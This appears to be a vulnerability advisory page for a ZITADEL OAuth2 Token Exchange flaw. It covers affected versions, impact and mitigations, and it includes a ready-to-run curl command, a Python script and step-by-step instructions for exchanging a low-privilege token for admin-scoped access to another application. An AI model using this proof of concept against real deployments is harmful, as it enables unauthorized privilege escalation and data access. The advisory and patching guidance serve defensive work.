Listen to this Post
A critical authorization flaw exists in ZITADEL’s OAuth2 Token Exchange endpoint, specifically targeting the `urn:ietf:params:oauth:grant-type:token-exchange` grant type. This vulnerability allows an authenticated user or client to exchange a low-privilege access token for a token with elevated permissions at a completely different application, effectively bypassing the intended authorization and separation policies configured within ZITADEL. ZITADEL enables administrators to restrict token issuance based on client permissions, project roles, and specific scopes. The root cause is a missing verification step during the Token Exchange flow: ZITADEL fails to validate whether the incoming access token belongs to or is authorized for the client initiating the exchange. Additionally, ZITADEL does not enforce that the newly requested scopes must stay within the boundaries of the original token’s scopes. An attacker with valid access to a low-privilege application can exploit this behavior by sending a token exchange request to a highly-privileged target application. This allows them to obtain administrative project roles, access sensitive profile data, or gain unauthorized access to other applications across the system. If public clients (which do not require client secrets) are used, this risk increases significantly as it requires no client authentication. The vulnerability aligns with CWE-284 (Improper Access Control) and affects ZITADEL versions 4.0.0 through 4.15.2 and 3.0.0 through 3.4.12. The patch implemented in version 4.15.3 addresses these concerns by introducing proper client verification procedures and scope boundary checks during the token exchange process.
DailyCVE Form:
Platform: ZITADEL
Version: 4.0.0–4.15.2
Vulnerability: Token Exchange
Severity: High
date: 2026-07-11
Prediction: 2026-06-22
What Undercode Say
curl -X POST https://zitadel.example.com/oauth/v2/token \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "grant_type=urn:ietf:params:oauth:grant-type:token-exchange" \ -d "client_id=low-privilege-client" \ -d "client_secret=low-privilege-secret" \ -d "subject_token=eyJhbGciOiJSUzI1NiIs..." \ -d "subject_token_type=urn:ietf:params:oauth:token-type:access_token" \ -d "requested_token_type=urn:ietf:params:oauth:token-type:access_token" \ -d "audience=high-privilege-app" \ -d "scope=admin:read admin:write"
import requests
token_url = "https://zitadel.example.com/oauth/v2/token"
payload = {
"grant_type": "urn:ietf:params:oauth:grant-type:token-exchange",
"client_id": "low-privilege-client",
"client_secret": "low-privilege-secret",
"subject_token": "eyJhbGciOiJSUzI1NiIs...",
"subject_token_type": "urn:ietf:params:oauth:token-type:access_token",
"requested_token_type": "urn:ietf:params:oauth:token-type:access_token",
"audience": "high-privilege-app",
"scope": "admin:read admin:write"
}
response = requests.post(token_url, data=payload)
elevated_token = response.json().get("access_token")
print(f"Elevated token obtained: {elevated_token[:20]}...")
How Exploit: (Educational Purposes!)
- Obtain a valid low-privilege access token from any application in the ZITADEL instance.
- Identify a target high-privilege application (e.g., an admin panel) that uses the Token Exchange grant type.
- Send a POST request to the ZITADEL token endpoint with
grant_type=urn:ietf:params:oauth:grant-type:token-exchange. - Set `subject_token` to the low-privilege token and `audience` to the high-privilege application’s identifier.
- Request elevated scopes (e.g.,
admin:read,admin:write) in the `scope` parameter. - Receive a new access token with the requested elevated permissions at the target application.
Protection
- Upgrade ZITADEL to version 4.15.3 or later immediately.
- If upgrading is not immediately possible, disable the Token Exchange feature via the feature flag:
ZITADEL_DEFAULTINSTANCE_FEATURES_TOKENEXCHANGE=false. - Remove the Token Exchange grant type (
urn:ietf:params:oauth:grant-type:token-exchange) from all configured applications, especially high-privilege or public clients. - Monitor token exchange activities for unusual audience or scope escalation attempts.
Impact
Successful exploitation allows an attacker to obtain administrative project roles, access sensitive profile data, or gain unauthorized access to other applications across the system. The vulnerability undermines the separation of privileges between applications and can lead to lateral movement within the ZITADEL-managed ecosystem, potentially resulting in data breaches or unauthorized system modifications.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
